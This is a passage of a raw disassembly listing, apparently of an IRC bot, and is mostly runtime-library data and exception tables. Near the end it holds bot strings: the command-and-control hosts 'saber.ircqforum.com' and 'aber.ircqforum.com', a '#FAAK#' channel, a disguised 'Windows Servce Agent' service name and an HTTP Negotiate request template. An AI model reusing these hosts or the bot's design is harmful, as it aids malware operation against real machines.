sub_426C13+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426C13 endp ; =============== S U B R O U T I N E ======================================= sub_426DD8 proc near ; DATA XREF: ___:00427F7Co ; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40D4A8 sub_426DD8 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_426DF6 mov ecx, [ebp+8] jmp loc_40D4A8 ; --------------------------------------------------------------------------- locret_426DF6: ; CODE XREF: ___:00426DE8j retn ; --------------------------------------------------------------------------- loc_426DF7: ; DATA XREF: sub_40D07Co mov eax, offset dword_427F50 jmp loc_41C91F ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E0C: ; DATA XREF: ___:00427FACo lea ecx, [ebp-1Ch] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E14: ; DATA XREF: sub_40D21Eo mov eax, offset dword_427F80 jmp loc_41C91F ; --------------------------------------------------------------------------- align 10h loc_426E20: ; DATA XREF: sub_40D78Bo mov eax, offset dword_427FB0 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E32: ; DATA XREF: sub_4264FEo mov eax, offset dword_428010 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E44: ; DATA XREF: sub_426573o mov eax, offset dword_4280A8 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E56: ; DATA XREF: sub_4265D0o mov eax, offset dword_4280CC jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E68: ; DATA XREF: sub_426618o mov eax, offset dword_4280F0 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E7A: ; DATA XREF: sub_42669Ao mov eax, offset dword_428150 jmp loc_41C91F ; --------------------------------------------------------------------------- dd 5Fh dup(0) dd 25C0000h, 25D0000h, 25E0000h, 25E077Ch, 25F0000h, 25F0A8Ah dd 25F0ADAh, 2600000h, 26000B1h, 26006B3h, 2610000h, 26105D5h dd 2620000h, 262082Fh, 26209E1h dword_42703C dd 2620A02h ; DATA XREF: ___:004231D9r dd 2620A8Dh, 2620D75h, 2620DB7h, 2630000h, 2640000h, 2650000h dd 2651015h, 265142Ah, 2651925h, 77E75CB5h dword_427068 dd 2651957h ; DATA XREF: sub_40111D+B8r ; ___:004014FCr ... dd 2651D2Ah, 2660000h, 2660AE4h dword_427078 dd 2660F57h ; DATA XREF: sub_40111D+29r ; sub_401ACD+318Br ... dword_42707C dd 2670000h ; DATA XREF: ___:004015E2r ; sub_410CD5+32r dd 267015Dh dword_427084 dd 267020Dh ; DATA XREF: sub_4196BC+B9r dd 26706FCh dword_42708C dd 2670763h ; DATA XREF: sub_410FF8:loc_411089r dword_427090 dd 26707BAh ; DATA XREF: ___:loc_4013DCr db 90h db 0Bh, 67h, 2 dd 2670C8Fh dword_42709C dd 2670D31h ; DATA XREF: sub_409B12+2r dd 2670ECEh, 2680000h dword_4270A8 dd 26805CDh ; DATA XREF: ___:0040124Dr ; sub_41A4D1+8Cr dword_4270AC dd 26806D6h ; DATA XREF: sub_410CD5:loc_410DC1r dd 2690000h, 26909E1h dword_4270B8 dd 2690AC8h ; DATA XREF: sub_409B12:loc_40A020r dword_4270BC dd 26A0000h ; DATA XREF: sub_409B12+11r ; sub_416F1A+60r ... dd 26B0000h, 26C0000h, 26C0550h, 26D0000h, 77F7E300h, 77F7E21Fh dd 26D04FAh, 26D062Fh, 26E0000h, 26E093Ch dword_4270E8 dd 26F0000h ; DATA XREF: sub_410FF8+Br dword_4270EC dd 26F0809h ; DATA XREF: sub_418293+36r dd 26F0A14h, 2700000h dword_4270F8 dd 2700598h ; DATA XREF: sub_410F1F+3Ar ; sub_419C64+79r dword_4270FC dd 2710000h ; DATA XREF: sub_410E26+23r ; sub_419C64+3Br dd 27113E0h, 2720000h, 2720A8Fh, 2730000h, 273080Ch, 2740000h dd 27402F2h, 2750000h, 2750B7Fh, 2750D95h, 2760000h, 27601C7h dd 2760B1Bh, 2770000h, 2770410h dword_42713C dd 2770728h ; DATA XREF: sub_416F1A+BCr dd 2780000h dword_427144 dd 2790000h ; DATA XREF: sub_4170EC+21r ; sub_417275+4Ar dword_427148 dd 2790B66h ; DATA XREF: sub_4170EC+10r ; sub_417275+40r ... dd 2790C39h dword_427150 dd 27A0000h ; DATA XREF: sub_417275+56r dd 27A021Dh, 27B0000h, 27C0000h, 27C06ADh, 27C0CE5h, 27D0000h dd 27D0182h, 27D07D0h, 27E0000h, 27F0000h dword_42717C dd 27F1177h ; DATA XREF: sub_418B58+13r ; ___:0042324Er ... dword_427180 dd 2800000h ; DATA XREF: sub_418C2A+Fr ; sub_41D834+54r ... dd 28010A9h, 28014E8h, 2801997h, 2801C2Ch, 2810000h, 2820000h dd 2830000h, 2840000h, 2850000h, 2860000h, 2861B9Eh, 2861BCFh dd 2870000h, 2870D6Dh, 2880000h dword_4271C0 dd 2880639h ; DATA XREF: sub_41DEA2+240r dword_4271C4 dd 2880761h ; DATA XREF: sub_41E976:loc_41E9A7r dd 2880959h, 2890000h, 28906E9h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0ACh, 0B2h, 71h align 10h dd 71AB4122h dword_4271E4 dd 71AB1746h ; DATA XREF: sub_412660+1DEr dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h dd 71AB1746h, 71AB3E5Dh dword_427218 dd 71AB5690h ; DATA XREF: sub_40DFE2+6Ar dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh dd 71AB157Eh, 0 dword_427238 dd 0 ; DATA XREF: sub_401070+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh aCyber db 'CYBER',0 ; DATA XREF: sub_401ACD+347Co ; sub_401ACD+356Co ... align 10h aCyber_0 db 'CYBER',0 ; DATA XREF: sub_401ACD+389Co ; sub_401ACD+38D2o ... align 4 aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 dbl_427688 dq 1.388888888888889e-2 ; DATA XREF: sub_40D030+2Fr dbl_427690 dq 1.666666666666667e-1 ; DATA XREF: sub_40D030+15r dword_427698 dd 0FFFFFFFFh ; DATA XREF: sub_40D07C+16Fr ; sub_40D4B0r ... align 10h dbl_4276A0 dq 1.333333333333333 ; DATA XREF: sub_40D07C+79r dword_4276A8 dd 0 ; DATA XREF: sub_40D21E+4Do ; sub_40D560+5Bo ... flt_4276AC dd 5.0e-1 ; DATA XREF: ___:0040DD33r dbl_4276B0 dq 9.765625e-4 ; DATA XREF: ___:004166B6r ; ___:004166D1r ... dbl_4276B8 dq -1.52587890625e-4 ; DATA XREF: sub_417ADD+3E5r dbl_4276C0 dq 3.0517578125e-4 ; DATA XREF: sub_417ADD+3C5r dbl_4276C8 dq -3.0517578125e-4 ; DATA XREF: sub_417ADD+342r ; sub_417ADD+3A7r dbl_4276D0 dq 1.52587890625e-4 ; DATA XREF: sub_417ADD+271r dbl_4276D8 dq -1.739501953125e-3 ; DATA XREF: sub_417ADD+24Br ; sub_417ADD+2D5r ... dbl_4276E0 dq 3.11279296875e-3 ; DATA XREF: sub_417ADD+E1r dbl_4276E8 dq 3.0517578125e-5 ; DATA XREF: sub_417ADD+AEr ; sub_417ADD+138r ... dbl_4276F0 dq 6.103515625e-5 ; DATA XREF: sub_417ADD+93r ; sub_417ADD+308r dbl_4276F8 dq 2.288818359375e-3 ; DATA XREF: sub_417ADD+21r dbl_427700 dq -3.0517578125e-5 ; DATA XREF: sub_418684+2Br flt_427708 dd 9.765625e-4 ; DATA XREF: sub_41A4D1+1B0r flt_42770C dd 8.0 ; DATA XREF: sub_41A4D1+1AAr flt_427710 dd 0.0 ; DATA XREF: sub_41A4D1+171r flt_427714 dd 1.0e-3 ; DATA XREF: sub_41A4D1+168r dbl_427718 dq 1.0 ; DATA XREF: sub_41C679+6Cr ; sub_41C7BF+6Cr ... dd 0FFFFFFFFh, 41DA0Ah, 41DA1Eh a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o align 4 byte_42775C db 6 ; DATA XREF: sub_41F69F:loc_41F6F6r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_43C514o unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: ___:off_43C510o align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_43C78Co dbl_427880 dq 0.0 ; DATA XREF: sub_42135F+8Cr ; sub_42135F+ACr ... dbl_427888 dq 4.195835e6 ; DATA XREF: sub_421874+Fr dbl_427890 dq 3.145727e6 ; DATA XREF: sub_421874+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4218B2o align 10h aE000 db 'e+000',0 ; DATA XREF: sub_4219D9+93o align 4 dword_4278C8 dd 0FFFFFFFFh, 4220C4h, 4220CEh, 0 ; DATA XREF: sub_42205D+5o dword_4278D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42218C+5o dd offset loc_42224A align 8 dd offset sub_422228 dd offset sub_422232 dword_4278F0 dd 0FFFFFFFFh, 42247Ah, 42247Eh, 0 ; DATA XREF: sub_4222C2+5o dword_427900 dd 0FFFFFFFFh, 4224DCh, 4224E5h, 0 ; DATA XREF: sub_422486+5o dword_427910 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42255C+5o dd offset loc_4225AD align 10h dd offset loc_422599 dd offset loc_42259D dword_427928 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4225B2+5o dd offset loc_422603 align 8 dd offset loc_4225EF dd offset loc_4225F3 dword_427940 dd 2 dup(0) ; DATA XREF: sub_422ACA+36o ; sub_423CEC+39o ... dword_427948 dd 0FFFFFFFFh, 422BDAh, 422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h ; DATA XREF: sub_422ACA+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43C95Co db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o align 10h asc_427C10 db 0Ah ; DATA XREF: sub_4235C9+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o db 0Ah db 'Program: ',0 align 10h a___ db '...',0 ; DATA XREF: sub_4235C9+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do align 10h dword_427C50 dd 0FFFFFFFFh, 423DE5h, 423DE9h ; DATA XREF: sub_423CEC+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_4247EC+Ao align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_424D78+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_424D78+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4256C2:loc_4257B7o align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_4256C2+D8o align 10h a1Ind db '1#IND',0 ; DATA XREF: sub_4256C2+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_4256C2+ADo align 10h dword_427CF0 dd 0FFFFFFFFh, 4260BAh, 4260BEh, 0FFFFFFFFh, 426129h, 42612Dh ; DATA XREF: sub_425F03+5o dd 427E2Ch off_427D0C dd offset loc_4264E2 ; DATA XREF: sub_4264BA+8o ; sub_4264FE+2Co ... dd offset sub_4264D5 dd offset sub_4266F6 dd offset dword_427E78 off_427D1C dd offset sub_42654C ; DATA XREF: sub_4264FE+3Ao ; sub_426568o ... dd offset sub_4264D5 dd offset loc_426732 dword_427D28 dd 0 ; DATA XREF: sub_4264FE+16o ; sub_4265D0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426573+11o dd offset dword_427EC4 off_427D48 dd offset sub_42665B ; DATA XREF: sub_426677o ; sub_42669A+37o ... dd offset sub_4264D5 dd offset loc_426714 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42669A+11o dd offset dword_427F08 off_427D68 dd offset loc_4267F7 ; DATA XREF: sub_4267E2o ; ___:off_43D084o ... dd offset dword_427F38 off_427D70 dd offset loc_426813 ; DATA XREF: sub_42682F+8o ; sub_42686C+8o ... dd offset sub_4268CC aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o align 10h dword_427D90 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_4268D9+Eo dd 3, 19930520h, 2 dup(0) dword_427DB0 dd 0FFFFFFFFh, 426A8Ah, 426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh ; DATA XREF: sub_426988+5o dword_427DC8 dd 0FFFFFFFFh, 426CFFh, 426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h ; DATA XREF: sub_426C13+5o dd 43D084h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_427DF8 dd offset off_43D09C ; DATA XREF: ___:00427E10o ; ___:00427E5Co ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427DF8 dd offset dword_427DC8+18h dword_427E18 dd 3 dup(0) ; DATA XREF: ___:00427E3Co dd 2, 427E10h, 3 dup(0) dd offset off_43D09C dd offset dword_427E18+4 off_427E40 dd offset off_43D0BC ; DATA XREF: ___:00427E58o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E40 dd offset off_427DF8 dd offset dword_427DC8+18h dd 0 db 0 ; DATA XREF: ___:00427E88o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 427E58h dword_427E78 dd 3 dup(0) ; DATA XREF: ___:00427D18o dd offset off_43D0BC dd offset unk_427E68 off_427E8C dd offset off_43D0DC ; DATA XREF: ___:00427EA4o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E8C dd offset off_427DF8 dd offset dword_427DC8+18h dword_427EB0 dd 3 dup(0) ; DATA XREF: ___:00427ED4o dd 3, 427EA4h dword_427EC4 dd 3 dup(0) ; DATA XREF: ___:00427D44o dd offset off_43D0DC dd offset dword_427EB0+4 off_427ED8 dd offset off_43D100 ; DATA XREF: ___:00427EF0o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_427ED8 dd 0 db 0 ; DATA XREF: ___:00427F18o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 427EF0h dword_427F08 dd 3 dup(0) ; DATA XREF: ___:00427D64o dd offset off_43D100 dd offset unk_427EF8 dd offset dword_427DC8+18h dword_427F20 dd 4 dup(0) ; DATA XREF: ___:00427F48o dd 1, 427F1Ch dword_427F38 dd 3 dup(0) ; DATA XREF: ___:00427D6Co dd offset off_43D084 dd offset dword_427F20+8 align 10h dword_427F50 dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF: ___:loc_426DF7o dd 0FFFFFFFFh, 426DE0h, 0 dd offset sub_426DD8 dword_427F80 dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF: ___:loc_426E14o dd 0FFFFFFFFh, 426E04h, 0 dd offset loc_426E0C dword_427FB0 dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3 dup(0) ; DATA XREF: ___:loc_426E20o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 427FF8h, 4 dup(0) ; --------------------------------------------------------------------------- retf 40D7h ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 426E2Ah dword_428010 dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF: ___:loc_426E32o dd offset off_43D084 align 8 dd 0FFFFFFFFh, 0 dd 0Ch, 42686Ch, 0 dd offset off_43D09C dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 426618h, 0 dd offset off_43D0BC align 10h dd 0FFFFFFFFh, 0 dword_428078 dd 1Ch, 426682h, 3, 428064h, 428048h, 42802Ch ; DATA XREF: ___:0042809Co dword_428090 dd 0 ; DATA XREF: sub_426573+2Eo ; sub_4266F6+4Bo dd offset sub_426568 dd 0 dd offset dword_428078+8 dd 0FFFFFFFFh, 426E3Ch dword_4280A8 dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF: ___:loc_426E44o dd 0FFFFFFFFh, 426E4Eh dword_4280CC dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF: ___:loc_426E56o dd 0FFFFFFFFh, 426E60h dword_4280F0 dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF: ___:loc_426E68o dd offset off_43D0DC align 8 dd 0FFFFFFFFh, 0 dword_428120 dd 1Ch, 4266DEh, 3, 42810Ch, 428048h, 42802Ch ; DATA XREF: ___:00428144o dword_428138 dd 0 ; DATA XREF: sub_42669A+2Eo ; sub_4266F6+2Do dd offset sub_426677 dd 0 dd offset dword_428120+8 dd 0FFFFFFFFh, 426E72h dword_428150 dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF: ___:loc_426E7Ao dword_42816C dd 2, 428048h, 42802Ch ; DATA XREF: ___:00428184o dword_428178 dd 0 ; DATA XREF: sub_4266F6+Fo dd offset sub_4264BA dd 0 dd offset dword_42816C dd 5 dup(76B9A4E5h), 5 dup(2826BA72h), 5 dup(79F50649h) dd 7Ah dup(0) dd 79F50649h, 0 dd 76B9A4E5h, 15h dup(0) dd 2826BA72h, 2FCh dup(0) dword_429000 dd 0 ; DATA XREF: ___:0041B7A3o dd offset loc_401205 dd offset sub_40D878 dd offset sub_40D89A dd offset dword_40E504+1CFh dword_429014 dd 0 ; DATA XREF: ___:0041B79Eo dword_429018 dd 0 ; DATA XREF: ___:0041B794o dd offset sub_41D052 dd offset sub_42026D dd offset sub_423936 dd offset word_424752 dword_42902C dd 0 ; DATA XREF: ___:loc_41B78Fo dword_429030 dd 0 ; DATA XREF: sub_41B7D3+65o dd offset sub_4239DB dword_429038 dd 0 ; DATA XREF: sub_41B7D3:loc_41B833o dword_42903C dd 0 ; DATA XREF: sub_41B7D3+76o dd offset byte_424763 dword_429044 dd 3 dup(0) ; DATA XREF: sub_41B7D3:loc_41B844o dword_429050 dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h ; DATA XREF: sub_401000+7o dword_429068 dd 6272h ; DATA XREF: sub_401000+63o ; sub_4010AB+Bo ... dword_42906C dd 1B58h ; DATA XREF: ___:004016C5r ; ___:0040175Ar dword_429070 dd 0C8Bh ; DATA XREF: ___:004017A6r dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_40461Br dword_429078 dd 45h ; DATA XREF: sub_401ACD+2088r ; sub_40BACD+3Br dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403C43r ; sub_40BACD:loc_40BEBEr dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403DCFr word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_40473Er align 4 dword_429088 dd 1 ; DATA XREF: sub_401ACD+65Fr dword_42908C dd 1 ; DATA XREF: ___:0040135Er dword_429090 dd 1 ; DATA XREF: ___:loc_401562r ; sub_418359+Cr byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A92r ; sub_401ACD+B4Br ... align 4 dword_429098 dd 0Ah ; DATA XREF: sub_40ACB5+3Ar ; sub_40ACB5+60r ... dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r ; sub_401ACD+279r ... dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r ; sub_401ACD+273r aDark db 'Dark',0 ; DATA XREF: ___:0040127Eo ; sub_401ACD:loc_4044A0o ... align 4 aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404945o align 4 aCool db 'cool',0 ; DATA XREF: sub_401ACD+7DDBo ; sub_401ACD+7EAAo align 10h aSaber_ircqforu db 'saber.ircqforum.com',0 ; DATA XREF: ___:004016B1o ; ___:0040174Bo aFaak db '#FAAK#',0 ; DATA XREF: ___:004016D1o ; ___:00401761o ... align 4 aSaad_ db 'saad.',0 ; DATA XREF: ___:004016E8o ; ___:00401773o align 4 byte_4290E4 db 73h ; DATA XREF: ___:loc_401789r ; ___:00401797o aAber_ircqforum db 'aber.ircqforum.com',0 aFaak_0 db '#FAAK#',0 ; DATA XREF: ___:004017ADo align 10h aSaad__0 db 'saad.',0 ; DATA XREF: ___:004017BFo align 4 byte_429108 db 6Dh ; DATA XREF: ___:00401364o ; ___:00401388w ... db 73h, 6Eh, 6Dh dd 7261676Eh, 6578652Eh, 0 dword_429118 dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C50o aWindowsServceA db 'Windows Servce Agent',0 ; DATA XREF: sub_401000+Eo align 4 unicode 0, <->,0 aWinsys_dat db 'winsys.dat',0 align 4 aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7F26o align 4 aF db '#f',0 ; DATA XREF: sub_401ACD+1D45o ; sub_401ACD+303Fo ... align 4 aF_0 db '#f',0 ; DATA XREF: sub_401ACD+44A2o align 4 aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40C4o ; sub_401ACD+4216o align 10h off_429160 dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4098FBo ; "*@admin.com" off_429164 dd offset 